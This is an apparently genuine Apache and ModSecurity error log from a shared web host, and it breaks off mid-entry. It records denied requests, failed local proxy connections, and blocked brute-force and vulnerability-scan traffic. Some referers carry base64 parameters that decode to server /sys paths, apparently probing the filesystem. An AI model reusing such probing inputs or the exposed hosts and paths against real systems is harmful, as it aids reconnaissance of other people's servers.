https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:52.684695 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:52.745411 2026] [access_compat:error] [pid 715691:tid 715761] [remote 57.141.14.67:52867] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:52.745860 2026] [access_compat:error] [pid 715691:tid 715761] [remote 57.141.14.67:52867] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:52.845899 2026] [access_compat:error] [pid 715691:tid 715764] [remote 57.141.14.67:52875] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:52.846201 2026] [access_compat:error] [pid 715691:tid 715764] [remote 57.141.14.67:52875] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:52.909683 2026] [access_compat:error] [pid 646876:tid 646987] [remote 57.141.14.14:47900] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:52.910176 2026] [access_compat:error] [pid 646876:tid 646987] [remote 57.141.14.14:47900] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:52.986513 2026] [proxy:error] [pid 646876:tid 647076] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:52.986625 2026] [proxy_http:error] [pid 646876:tid 647076] [client 207.241.173.18:44072] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:52.988770 2026] [proxy:error] [pid 646876:tid 647076] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:52.988847 2026] [proxy_http:error] [pid 646876:tid 647076] [client 207.241.173.18:44072] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:53.143221 2026] [access_compat:error] [pid 715691:tid 715757] [remote 57.141.14.3:48048] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:53.143490 2026] [access_compat:error] [pid 715691:tid 715757] [remote 57.141.14.3:48048] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:53.194448 2026] [security2:error] [pid 715691:tid 715765] [remote 195.142.108.235:49704] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.108.142.195.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.drebok.com"] [uri "/wp-login.php"] [unique_id "ai30IbV-dFiaX9AtWiQV-gABaDY"], referer: https://mail.drebok.com/wp-login.php [Sat Jun 13 18:21:53.228161 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNl [Sat Jun 13 18:21:53.228582 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNl [Sat Jun 13 18:21:53.444256 2026] [access_compat:error] [pid 715691:tid 715768] [remote 57.141.14.83:41824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:53.444682 2026] [access_compat:error] [pid 715691:tid 715768] [remote 57.141.14.83:41824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:53.590864 2026] [proxy:error] [pid 715691:tid 715968] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:53.590902 2026] [proxy_http:error] [pid 715691:tid 715968] [client 207.241.173.18:11436] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:53.591731 2026] [proxy:error] [pid 715691:tid 715968] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:53.591761 2026] [proxy_http:error] [pid 715691:tid 715968] [client 207.241.173.18:11436] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:53.628662 2026] [security2:error] [pid 715691:tid 715775] [remote 216.73.216.95:26778] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 95.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "onemontgomerygreen.org"] [uri "/index.php/calendarevent/capital-area-solar-co-op-info-session-virginia/"] [unique_id "ai30IbV-dFiaX9AtWiQWAwABL0A"] [Sat Jun 13 18:21:53.750684 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL2lk [Sat Jun 13 18:21:53.751112 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL2lk [Sat Jun 13 18:21:53.849608 2026] [access_compat:error] [pid 715691:tid 715772] [remote 57.141.14.29:21673] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:53.850067 2026] [access_compat:error] [pid 715691:tid 715772] [remote 57.141.14.29:21673] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:53.965020 2026] [security2:error] [pid 715691:tid 715901] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/get_html_translation_table_basic2-win32.phpt"] [unique_id "ai30IbV-dFiaX9AtWiQWCgAAAUY"] [Sat Jun 13 18:21:54.116984 2026] [security2:error] [pid 715691:tid 715779] [remote 17.241.227.248:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 248.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30IrV-dFiaX9AtWiQWDAABF0Q"] [Sat Jun 13 18:21:54.256819 2026] [access_compat:error] [pid 646876:tid 646924] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:21:54.257100 2026] [access_compat:error] [pid 646876:tid 646924] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:21:54.293471 2026] [access_compat:error] [pid 646876:tid 646981] [remote 57.141.14.26:30852] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:54.293885 2026] [access_compat:error] [pid 646876:tid 646981] [remote 57.141.14.26:30852] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:54.369627 2026] [security2:error] [pid 646876:tid 646898] [remote 17.246.19.135:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 135.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ItyTkdrNlD40tSHJkwAAXRM"] [Sat Jun 13 18:21:54.639464 2026] [security2:error] [pid 715691:tid 715780] [remote 17.241.219.83:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 83.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30IrV-dFiaX9AtWiQWFAABK0U"] [Sat Jun 13 18:21:54.641578 2026] [security2:error] [pid 715691:tid 715792] [remote 103.255.134.61:35526] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 61.134.255.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lotusfengshui.co.uk"] [uri "/wp-login.php"] [unique_id "ai30IrV-dFiaX9AtWiQWFwABZVE"], referer: https://lotusfengshui.co.uk/wp-login.php [Sat Jun 13 18:21:54.707083 2026] [access_compat:error] [pid 715691:tid 715784] [remote 57.141.14.77:29201] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:54.707363 2026] [access_compat:error] [pid 715691:tid 715784] [remote 57.141.14.77:29201] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:54.795459 2026] [access_compat:error] [pid 646876:tid 646940] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:21:54.795914 2026] [access_compat:error] [pid 646876:tid 646940] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:21:54.830252 2026] [access_compat:error] [pid 648189:tid 648224] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:54.830741 2026] [access_compat:error] [pid 648189:tid 648224] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:54.876647 2026] [security2:error] [pid 715691:tid 715795] [remote 17.22.237.231:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 231.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30IrV-dFiaX9AtWiQWHAABWVQ"] [Sat Jun 13 18:21:54.894844 2026] [proxy:error] [pid 648189:tid 648421] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.894948 2026] [proxy_http:error] [pid 648189:tid 648421] [client 207.241.173.18:44400] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.895928 2026] [proxy:error] [pid 648189:tid 648421] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.895985 2026] [proxy_http:error] [pid 648189:tid 648421] [client 207.241.173.18:44400] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.896466 2026] [proxy:error] [pid 648189:tid 648446] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.896535 2026] [proxy_http:error] [pid 648189:tid 648446] [client 207.241.173.18:44432] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.897326 2026] [proxy:error] [pid 648189:tid 648446] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.897370 2026] [proxy_http:error] [pid 648189:tid 648446] [client 207.241.173.18:44432] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.900998 2026] [proxy:error] [pid 648189:tid 648427] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.901078 2026] [proxy_http:error] [pid 648189:tid 648427] [client 207.241.173.18:44406] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.902062 2026] [proxy:error] [pid 648189:tid 648427] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.902126 2026] [proxy_http:error] [pid 648189:tid 648427] [client 207.241.173.18:44406] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.904431 2026] [proxy:error] [pid 715691:tid 715957] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.904479 2026] [proxy_http:error] [pid 715691:tid 715957] [client 207.241.173.18:44338] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.905627 2026] [proxy:error] [pid 715691:tid 715947] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.905695 2026] [proxy_http:error] [pid 715691:tid 715947] [client 207.241.173.18:44366] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.906180 2026] [proxy:error] [pid 648189:tid 648355] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.906304 2026] [proxy_http:error] [pid 648189:tid 648355] [client 207.241.173.18:44352] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.906738 2026] [proxy:error] [pid 715691:tid 715947] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.906787 2026] [proxy_http:error] [pid 715691:tid 715947] [client 207.241.173.18:44366] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.907251 2026] [proxy:error] [pid 715691:tid 715957] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.907289 2026] [proxy_http:error] [pid 715691:tid 715957] [client 207.241.173.18:44338] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.908371 2026] [proxy:error] [pid 648189:tid 648355] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.908431 2026] [proxy_http:error] [pid 648189:tid 648355] [client 207.241.173.18:44352] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.914323 2026] [proxy:error] [pid 648189:tid 648408] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.914397 2026] [proxy_http:error] [pid 648189:tid 648408] [client 207.241.173.18:44374] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.915774 2026] [proxy:error] [pid 648189:tid 648408] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.915830 2026] [proxy_http:error] [pid 648189:tid 648408] [client 207.241.173.18:44374] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.917434 2026] [proxy:error] [pid 648189:tid 648425] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.917498 2026] [proxy_http:error] [pid 648189:tid 648425] [client 207.241.173.18:44364] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.918571 2026] [proxy:error] [pid 648189:tid 648425] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.918624 2026] [proxy_http:error] [pid 648189:tid 648425] [client 207.241.173.18:44364] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.922066 2026] [proxy:error] [pid 646876:tid 647098] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.922163 2026] [proxy_http:error] [pid 646876:tid 647098] [client 207.241.173.18:44142] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.924105 2026] [proxy:error] [pid 646876:tid 647098] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.924190 2026] [proxy_http:error] [pid 646876:tid 647098] [client 207.241.173.18:44142] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.925754 2026] [proxy:error] [pid 715691:tid 715930] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.925824 2026] [proxy_http:error] [pid 715691:tid 715930] [client 207.241.173.18:44306] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.930073 2026] [proxy:error] [pid 715691:tid 715958] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.930148 2026] [proxy_http:error] [pid 715691:tid 715958] [client 207.241.173.18:44322] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.931421 2026] [proxy:error] [pid 715691:tid 715958] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.931480 2026] [proxy_http:error] [pid 715691:tid 715958] [client 207.241.173.18:44322] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.935026 2026] [proxy:error] [pid 646876:tid 647010] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.935106 2026] [proxy_http:error] [pid 646876:tid 647010] [client 207.241.173.18:44134] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.935995 2026] [proxy:error] [pid 648189:tid 648440] (111)Connection refused: AH00957: http: attempt to connect to 